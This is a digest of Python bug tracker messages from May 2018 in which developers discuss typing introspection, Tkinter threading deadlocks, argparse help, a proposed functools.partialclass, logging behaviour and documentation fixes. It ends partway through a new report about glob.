bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 18:51:00 +0000 Subject: [issue33420] __origin__ invariant broken In-Reply-To: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> Message-ID: <1525373460.47.0.682650639539.issue33420@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Yes, the comment needs to be updated, but as you said, no guaranties about undocumented dunder attribute. We tried to preserve as much of the API as possible in 3.7 after PEP 560, but something needs to be sacrificed (especially in the purely internal API you used). You may instead use `typing_inspect` library on PyPI, I am not 100% sure it will help in your case, but it has `is_tuple_type` function that should work across several versions of `typing`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:55:37 2018 From: report at bugs.python.org (Adam Paszke) Date: Thu, 03 May 2018 18:55:37 +0000 Subject: [issue33420] __origin__ invariant broken In-Reply-To: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> Message-ID: <1525373737.23.0.682650639539.issue33420@psf.upfronthosting.co.za> Adam Paszke added the comment: Of course, I'm not expecting this to be 100% reliable, and so I'm ok with the answer that the comment is now outdated. I'd like to avoid adding extra dependencies for so simple things, so I guess I'll just special case that in my code for now. It would be great if the typing module had some tools for introspection built in! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 15:43:26 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 03 May 2018 19:43:26 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525376606.74.0.682650639539.issue33412@psf.upfronthosting.co.za> Terry J. Reedy added the comment: >From 1994 to 2017, _tkinter.c has received a steady flow of multiple revisions each year, for 333 total, by maybe 20 people including Guido. This makes it one of the more actively maintained files and indicates the opposite of indifference and not caring. I tested event generation from threads on my Win 10 machine. With installed 2.7, with non-thread tcl 8.5, the process hangs as described, after 1 key event is sent and received. So we should document "don't do that". With installed 64-bit 3.6 with thread-compiled tcl 8.6, I see something completely different. The process runs for 5 seconds until the stop call. The two threads alternate sending key events, which are all received in the main thread. Ditto for built 32-big debug 3.6 and 3.8. The only problem is that the first t.join() hangs because of a thread deadlock bug. t.join() blocks until t.run exits. t.run does not exit until the last event_generate, with running=False, returns. But that blocks until dummy_handler runs. Dummy_handler does not run when the main thread is blocked by t.join. I fixed this by not generating events when running is False. The revised program exits properly. def run(self): tid = self.ident while True: time.sleep(0.02) c = random.choice(string.ascii_letters) print(running, "%d: sending '%s'"%(tid,c),file=sys.stderr) if running: self.target.event_generate(c) else: break I suppose there is a teeny possibility that 'running' could be flipped between the test and the call. Can that be prevented with a lock? Another possibility is for stop() to change conditions so that 'self.target.event_generate(c)' fails with an exception, and change if/else to for/except. My first try sort of works in IDLE but not the console. ---------- nosy: +serhiy.storchaka, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 15:52:11 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Thu, 03 May 2018 19:52:11 +0000 Subject: [issue33375] warnings: get filename from frame.f_code.co_filename In-Reply-To: <1524847135.79.0.682650639539.issue33375@psf.upfronthosting.co.za> Message-ID: <1525377131.38.0.682650639539.issue33375@psf.upfronthosting.co.za> Thomas Kluyver added the comment: Hi Brett! If you get a moment, any review of the linked PR would be welcome. :-) https://github.com/python/cpython/pull/6622 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 15:56:42 2018 From: report at bugs.python.org (Brett Cannon) Date: Thu, 03 May 2018 19:56:42 +0000 Subject: [issue33375] warnings: get filename from frame.f_code.co_filename In-Reply-To: <1525377131.38.0.682650639539.issue33375@psf.upfronthosting.co.za> Message-ID: Brett Cannon added the comment: I just added myself to review the PR. At worst I will get to it during the sprints at PyCon US. On Thu, 3 May 2018 at 12:52 Thomas Kluyver wrote: > > Thomas Kluyver added the comment: > > Hi Brett! If you get a moment, any review of the linked PR would be > welcome. :-) > > https://github.com/python/cpython/pull/6622 > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 16:11:21 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Thu, 03 May 2018 20:11:21 +0000 Subject: [issue33375] warnings: get filename from frame.f_code.co_filename In-Reply-To: <1524847135.79.0.682650639539.issue33375@psf.upfronthosting.co.za> Message-ID: <1525378281.79.0.682650639539.issue33375@psf.upfronthosting.co.za> Thomas Kluyver added the comment: Thanks! No rush, I just thought I'd take the opportunity when you added yourself to the nosy list. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 16:20:09 2018 From: report at bugs.python.org (Dmitry Alimov) Date: Thu, 03 May 2018 20:20:09 +0000 Subject: [issue32625] Update the dis module documentation to reflect switch to wordcode In-Reply-To: <1516642902.05.0.467229070634.issue32625@psf.upfronthosting.co.za> Message-ID: <1525378809.33.0.682650639539.issue32625@psf.upfronthosting.co.za> Dmitry Alimov added the comment: The documentation for EXTENDED_ARG opcode should also be updated for Python versions 3.6, 3.7, 3.8. ---------- nosy: +delimitry versions: +Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 16:26:36 2018 From: report at bugs.python.org (paul j3) Date: Thu, 03 May 2018 20:26:36 +0000 Subject: [issue22848] Subparser help does not respect SUPPRESS argument In-Reply-To: <1415728297.74.0.809984326992.issue22848@psf.upfronthosting.co.za> Message-ID: <1525379196.68.0.682650639539.issue22848@psf.upfronthosting.co.za> paul j3 added the comment: I've reviewed the comments and proposed patch, and still think that the custom metavar is still the best fix. subparses.metavar can be changed after subparsers has been created. The programmer could, for example, write a simple helper function that calls add_parser, and also appends names to a list. Then at the end, turn that list into a properly formatted metavar string. subparsers.metavar = '(%s}'%','.join(['cmd1','foo','cmd3']) In fact, if I were to write a patch, I'd take this approach, trying to confine all changes to the _SubParsersAction.add_parser method, and out of the HelpFormatter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:00:08 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 22:00:08 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525384808.38.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: Added functools experts. Links to relevant stackoverflow questions: https://stackoverflow.com/questions/38911146/python-equivalent-of-functools-partial-for-a-class-constructor https://stackoverflow.com/questions/50143864/is-there-a-nice-way-to-partially-bind-class-parameters-in-python/50143893 ---------- nosy: +ncoghlan, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:16:28 2018 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 03 May 2018 22:16:28 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525385788.53.0.682650639539.issue33419@psf.upfronthosting.co.za> Eric V. Smith added the comment: This has to be a 3.8 feature. It would be best if you could convert this to a github pull request, and use blurb to generate the news entry. But those aren't strictly necessary, someone else can do the mechanics of that. I'm willing to do it if you'd like, and at the appropriate time. ---------- nosy: +eric.smith versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:18:16 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 22:18:16 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525385896.12.0.682650639539.issue33419@psf.upfronthosting.co.za> Change by Neil Girdhar : Added file: https://bugs.python.org/file47569/partialclass3.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:19:25 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 22:19:25 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525385965.47.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: I figured it would have to be 3.8, but it looks like Doc/whatsnew/3.8.rst has not been created? Do I create that? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:21:36 2018 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 03 May 2018 22:21:36 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525386096.18.0.682650639539.issue33419@psf.upfronthosting.co.za> Eric V. Smith added the comment: You'll need to use blurb: https://pypi.org/project/blurb/ https://devguide.python.org/committing/#what-s-new-and-news-entries Well, technically it's possible to not use blurb and do it manually, but you'll want to use it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:46:31 2018 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 03 May 2018 22:46:31 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1219792814.12.0.663300668565.issue3692@psf.upfronthosting.co.za> Message-ID: <1525387591.59.0.682650639539.issue3692@psf.upfronthosting.co.za> Guido van Rossum added the comment: There's a proposal for a fix currently in PEP 572. I'm linking to the commit here because we're likely to remove it from PEP 572, but it may be proposed as a separate PEP: https://github.com/python/peps/commit/71fea57f19231b9917ce6a558c0b763288385398 Bug or not this is not going to change without a PEP, so I'm not sure it's a good idea to keep this issue open. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 18:55:08 2018 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 03 May 2018 22:55:08 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1525349501.77.0.682650639539.issue32769@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Perhaps you can start with the more important terms from PEP 484 (and perhaps also PEP 483, and then PEP 526 and PEP 544). E.g. start with terms from the ToC of those PEPs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:10:42 2018 From: report at bugs.python.org (Roundup Robot) Date: Thu, 03 May 2018 23:10:42 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525389042.0.0.682650639539.issue33419@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6391 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:18:11 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 23:18:11 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525389491.98.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: Done: https://github.com/python/cpython/pull/6699 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:33:14 2018 From: report at bugs.python.org (Travis DePrato) Date: Thu, 03 May 2018 23:33:14 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager Message-ID: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> New submission from Travis DePrato : The documentation for the typing module makes no mention of AsyncContextManager, which is defined in Lib/typing.py as AsyncContextManager = _alias(contextlib.AbstractAsyncContextManager, T_co) as of >= Python 3.8; before 3.8, no such AbstractAsyncContextManager class exists. ---------- assignee: docs at python components: Documentation messages: 316145 nosy: Travis DePrato, docs at python, eric.araujo, ezio.melotti, willingc priority: normal severity: normal status: open title: Missing documentation for typing.AsyncContextManager type: enhancement versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:33:39 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 23:33:39 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1525390419.96.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Great, I'll look into them. It will take me some time to make a list of the new terms and write proper descriptions. Perhaps we could deliver the updates to the glossary by waves so people can make benefit of it? As in multiple PR being merged while retaining this issue open until all required terms are added. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:34:24 2018 From: report at bugs.python.org (Roundup Robot) Date: Thu, 03 May 2018 23:34:24 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: <1525390464.21.0.682650639539.issue33421@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6392 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:35:16 2018 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 03 May 2018 23:35:16 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1525390419.96.0.682650639539.issue32769@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: I'm okay with multiple PRs, but do beware that each PR requires a core dev to open a browser window etc., so try to group them a bit. But no need to wait for the perfect list! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:37:01 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 23:37:01 +0000 Subject: [issue33422] Fix and update string/byte literals in help() Message-ID: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> New submission from Andr?s Delfino : Right now, for string/byte literals help() shows, for example: No Python documentation found for 'r'. Use help() to get the interactive help utility. Use help(str) for help on the str class. PR fixes the quotation mark removal and updates the list with f and u literals, while also adding uppercase versions of all literals. While the list is install incomplete (e.g., fR and the others could be listed) I believe that's too much. ---------- components: Library (Lib) messages: 316148 nosy: adelfino priority: normal severity: normal status: open title: Fix and update string/byte literals in help() versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:37:49 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 23:37:49 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525390669.3.0.682650639539.issue33422@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6393 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 19:40:26 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 23:40:26 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525390826.42.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: *While the list is still incomplete ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 20:47:15 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 04 May 2018 00:47:15 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525394835.65.0.682650639539.issue20104@psf.upfronthosting.co.za> Gregory P. Smith added the comment: Since this is a new API, the most important thing is to have decided how we want it to look in 3.7, it is okay for it to be missing features so long as the API doesn't prevent them from being added in the future. ie: It is fine to ship it without posix_spawnattr_t attrp "flags" support and without the "p" variant supported in 3.7. Regarding PR 6693, I agree, keyword only arguments for the flags instead of a sequence of tuples is a good idea. Since 3.7b4 has shipped I'm not sure we should even consider adding new _features_ to this new API in 3.7 to appear in rc1 - though being entirely new it wouldn't break anything, it just doesn't give us any change to revise them. I'd be conservative at this point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 21:09:30 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Fri, 04 May 2018 01:09:30 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525396170.43.0.682650639539.issue33412@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > Another possibility is for stop() to change conditions so that 'self.target.event_generate(c)' fails with an exception Could you elaborate? Since there're no docs on event_generate(), I can't look up how to make it "fail with an exception" without actually posting an event. > The only problem is that the first t.join() hangs because of a thread deadlock bug. t.join() blocks until t.run exits. t.run does not exit until the last event_generate, with running=False, returns. But that blocks until dummy_handler runs. > I suppose there is a teeny possibility that 'running' could be flipped between the test and the call. Can that be prevented with a lock? The idea is to let the worker threads finish their work, not terminate them forcibly. So the real problem is that stop() blocks the event loop. It should rather run asynchronously, wait for threads, then trigger `self.root.destroy()` in the main thread... somehow. ---------- resolution: wont fix -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:34:40 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Fri, 04 May 2018 02:34:40 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525401280.09.0.682650639539.issue33412@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: Attached a fixed script. `Tk.after()` works from a worker thread, while `Tk.destroy()` doesn't. That's because Tkinter implements Tcl calls (_tkinter.c:Tkapp_Call) from another thread by posting an event to the interpreter's queue (Tcl_ThreadQueueEvent) and waiting for result. So a call normally works, but would hang if the interpreter's event loop is not running. `destroy()`'s Python part (Lib\tkinter\__init__.py:2055) stops the event loop, then makes more Tcl calls -- which hang for the aforementioned reason if made from another thread. ---------- Added file: https://bugs.python.org/file47570/TkinterHanders32.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:38:56 2018 From: report at bugs.python.org (Daehee Kim) Date: Fri, 04 May 2018 02:38:56 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. Message-ID: <1525401536.14.0.682650639539.issue33423@psf.upfronthosting.co.za> New submission from Daehee Kim : There's a proposal for a fix inconsistency of logger mechanism. See below. Example 1. --------------------------------------------------- import logging app_logger = logging.getLogger('app') app_logger.error('foo') logging.error('goo') app_logger.error('foo') --------------------------------------------------- result: foo ERROR:root:goo ERROR:app:foo --------------------------------------------------- You can see the inconsistency of app_logger results. Example 2. --------------------------------------------------- import logging stream_handler = logging.StreamHandler() formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') stream_handler.setFormatter(formatter) app_logger: logging.Logger = logging.getLogger('app') app_logger.setLevel(logging.ERROR) app_logger.addHandler(stream_handler) app_logger.critical('foo') logging.critical('goo') app_logger.critical('foo') --------------------------------------------------- results: 2018-05-04 11:21:15,199 - app - CRITICAL - foo CRITICAL:root:goo 2018-05-04 11:21:15,200 - app - CRITICAL - foo CRITICAL:app:foo --------------------------------------------------- You can see even inconsistency of app_logger`s outputs count. So I have some proposals for fix it. Proposal 1. Remove implicit calling `basicConfig`. Then you can get the consistent results. Result of the example 1. foo goo foo Result of the example 2. 2018-05-04 11:31:36,069 - app - CRITICAL - foo goo 2018-05-04 11:31:36,070 - app - CRITICAL - foo link : https://github.com/zsaladin/cpython/commit/c4e789af32da36ba49196fd6be9c070f62346b7a#diff-043d23e54edc5360a7785ae212d1b806 Proposal 2. Add calling `basicConfig` in `callHandlers` method if the root logger has no handler. Result of the example 1. foo goo foo Result of the example 2. 2018-05-04 11:31:36,069 - app - CRITICAL - foo goo 2018-05-04 11:31:36,070 - app - CRITICAL - foo Result of the example 1. ERROR:app:foo ERROR:root:goo ERROR:app:foo Result of the example 2. 2018-05-04 11:36:45,318 - app - CRITICAL - foo CRITICAL:app:foo CRITICAL:root:goo 2018-05-04 11:36:45,319 - app - CRITICAL - foo CRITICAL:app:foo https://github.com/zsaladin/cpython/commit/fc295b46a4de584dc5c6724125b2c0f8b2694aa6#diff-043d23e54edc5360a7785ae212d1b806 Thank you. ---------- components: Library (Lib) messages: 316153 nosy: Daehee Kim priority: normal severity: normal status: open title: [logging] Improve consistency of logger mechanism. type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:47:33 2018 From: report at bugs.python.org (Daehee Kim) Date: Fri, 04 May 2018 02:47:33 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. In-Reply-To: <1525401536.14.0.682650639539.issue33423@psf.upfronthosting.co.za> Message-ID: <1525402053.16.0.682650639539.issue33423@psf.upfronthosting.co.za> Daehee Kim added the comment: There's a proposal for a fix inconsistency of logger mechanism. See below. Example 1. --------------------------------------------------- import logging app_logger = logging.getLogger('app') app_logger.error('foo') logging.error('goo') app_logger.error('foo') --------------------------------------------------- result: foo ERROR:root:goo ERROR:app:foo --------------------------------------------------- You can see the inconsistency of app_logger results. Example 2. --------------------------------------------------- import logging stream_handler = logging.StreamHandler() formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') stream_handler.setFormatter(formatter) app_logger: logging.Logger = logging.getLogger('app') app_logger.setLevel(logging.ERROR) app_logger.addHandler(stream_handler) app_logger.critical('foo') logging.critical('goo') app_logger.critical('foo') --------------------------------------------------- results: 2018-05-04 11:21:15,199 - app - CRITICAL - foo CRITICAL:root:goo 2018-05-04 11:21:15,200 - app - CRITICAL - foo CRITICAL:app:foo --------------------------------------------------- You can see even inconsistency of app_logger`s outputs count. So I have some proposals for fix it. Proposal 1. Remove implicit calling `basicConfig`. Then you can get the consistent results. Result of the example 1. foo goo foo Result of the example 2. 2018-05-04 11:31:36,069 - app - CRITICAL - foo goo 2018-05-04 11:31:36,070 - app - CRITICAL - foo link : https://github.com/zsaladin/cpython/commit/c4e789af32da36ba49196fd6be9c070f62346b7a#diff-043d23e54edc5360a7785ae212d1b806 Proposal 2. Add calling `basicConfig` in `callHandlers` method if the root logger has no handler. Result of the example 1. ERROR:app:foo ERROR:root:goo ERROR:app:foo Result of the example 2. 2018-05-04 11:36:45,318 - app - CRITICAL - foo CRITICAL:app:foo CRITICAL:root:goo 2018-05-04 11:36:45,319 - app - CRITICAL - foo CRITICAL:app:foo https://github.com/zsaladin/cpython/commit/fc295b46a4de584dc5c6724125b2c0f8b2694aa6#diff-043d23e54edc5360a7785ae212d1b806 Thank you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:54:21 2018 From: report at bugs.python.org (Daehee Kim) Date: Fri, 04 May 2018 02:54:21 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. In-Reply-To: <1525401536.14.0.682650639539.issue33423@psf.upfronthosting.co.za> Message-ID: <1525402461.72.0.682650639539.issue33423@psf.upfronthosting.co.za> Daehee Kim added the comment: Please, ignore first one, `msg316153` It has duplicated message so I rewrote `msg316154`. I could not find delete or edit messages menu. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:55:32 2018 From: report at bugs.python.org (Emanuel Barry) Date: Fri, 04 May 2018 02:55:32 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. In-Reply-To: <1525402053.16.0.682650639539.issue33423@psf.upfronthosting.co.za> Message-ID: <1525402532.38.0.682650639539.issue33423@psf.upfronthosting.co.za> Change by Emanuel Barry : ---------- Removed message: https://bugs.python.org/msg316153 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 22:56:17 2018 From: report at bugs.python.org (Emanuel Barry) Date: Fri, 04 May 2018 02:56:17 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. In-Reply-To: <1525402053.16.0.682650639539.issue33423@psf.upfronthosting.co.za> Message-ID: <1525402577.63.0.682650639539.issue33423@psf.upfronthosting.co.za> Emanuel Barry added the comment: You don't have access to this feature, so I've deleted the message for you :) ---------- nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 23:06:08 2018 From: report at bugs.python.org (Daehee Kim) Date: Fri, 04 May 2018 03:06:08 +0000 Subject: [issue33423] [logging] Improve consistency of logger mechanism. In-Reply-To: <1525402053.16.0.682650639539.issue33423@psf.upfronthosting.co.za> Message-ID: <1525403168.34.0.682650639539.issue33423@psf.upfronthosting.co.za> Daehee Kim added the comment: Oh! Thank you for your kindness. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 23:07:20 2018 From: report at bugs.python.org (CH) Date: Fri, 04 May 2018 03:07:20 +0000 Subject: [issue33424] 4.4. break and continue Statements, and else Clauses on Loops Message-ID: <1525403240.67.0.682650639539.issue33424@psf.upfronthosting.co.za> New submission from CH : range function second parameter is excluded. Hence for x in range(2, n): will not execute when n = 2, and "2 is a prime number" will never appear. Moreover, might need a break in the else block too. ---------- messages: 316158 nosy: joesatriani priority: normal severity: normal status: open title: 4.4. break and continue Statements, and else Clauses on Loops _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 23:10:36 2018 From: report at bugs.python.org (Tim Peters) Date: Fri, 04 May 2018 03:10:36 +0000 Subject: [issue33424] 4.4. break and continue Statements, and else Clauses on Loops In-Reply-To: <1525403240.67.0.682650639539.issue33424@psf.upfronthosting.co.za> Message-ID: <1525403436.49.0.682650639539.issue33424@psf.upfronthosting.co.za> Tim Peters added the comment: Closing because this appears to be senseless. ---------- nosy: +tim.peters resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 23:44:32 2018 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 04 May 2018 03:44:32 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525405472.48.0.682650639539.issue33412@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 02:38:23 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 04 May 2018 06:38:23 +0000 Subject: [issue33424] 4.4. break and continue Statements, and else Clauses on Loops In-Reply-To: <1525403240.67.0.682650639539.issue33424@psf.upfronthosting.co.za> Message-ID: <1525415903.52.0.682650639539.issue33424@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Joe, we have no idea what you think is the bug. It is intentional that the second argument for range is excluded. This is called an "half-open" range, and it helps avoid off-by-one and signpost errors. Your comments about break, continue and else don't seem to actually mean anything. Please write in complete English sentences and explain the nature of the supposed bug. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 05:52:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 04 May 2018 09:52:28 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525427548.17.0.682650639539.issue33419@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm not sure that this should be in the stdlib. The three-line function can be enough for your simple case, and it is too simple for including it in the stdlib. But for general stdlib quality solution it lacks many details. 1. It doesn't work with classes that implement the constructor as __new__, but not __init__. It may need of using metaclasses with overridden __call__. But how then handle classes with custom metaclasses? 2. inspect.signature() doesn't give the correct signature as for partial(). This requires changing the inspect module. 3. pickling and copying of instances are broken in many cases. Pickling a class is always broken. I afraid that this can't be solved without significant reworking of the pickle and the copy modules. 4. It adds instance attributes __dict__ and __weakref__ even if they were disabled by using __slots__. This increases the size of instances and breaks some properties. 5. repr() of the class doesn't show that it is a partialclass (unlike to the result of partial()). 6. Many alternate constructors and copying methods are broken. For example the copy() method of partialclass(defaultdict, list) in your example. There is no general solution of this, it should be solved individually for every class. If there is a need of this feature in the stdlib, it needs changing many parts of the stdlib. And the result will still need an additional work for every concrete class. Also note that the term "partial class" has different well known meaning in some other programming languages: https://en.wikipedia.org/wiki/Class_(computer_programming)#Partial . ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 06:04:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 04 May 2018 10:04:28 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525428268.52.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Interesting, I didn't know that pydoc supports this. Specifying all possible prefixes is cumbersome and errorprone. The number of combinations grows exponentially with adding new letters. I suggest either to specify only lower-case variants and generate all variants with upper-case letters (as it done in the tokenize module) or always calls the lower() method when look up in the symbols dictionary. It may be worth to add a special topic for f-strings. ---------- nosy: +eric.smith, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 06:14:47 2018 From: report at bugs.python.org (Robin Champavier) Date: Fri, 04 May 2018 10:14:47 +0000 Subject: [issue33425] Library glob : Can't find a specific year with glob Message-ID: <1525428887.45.0.682650639539.issue33425@psf.upfronthosting.co.za> New submission from Robin Champavier : Hello, I work with file name like : PRECI_yyyymmddhh_00.txt and I put them in different directory depending of the year. For file between year 1999 and 2016 there is no problem but with file in year 2017 with months 12, glob.glob can't find them. When I do print K in my file Tri_fichier_texte.py there is no file with PRECI_201712xxxx.txt but it works to find the beginning of the year 2017 like PRECI_201701xxx.txt. All file get exactly the same syntax. Thanks for looking my issues. ---------- components: Library (Lib) files: Tri_fichier_texte.py messages: 316163 nosy: Robin Champavier priority: normal severity: normal status: open title: Library glob : Can't find a specific year with glob versions: 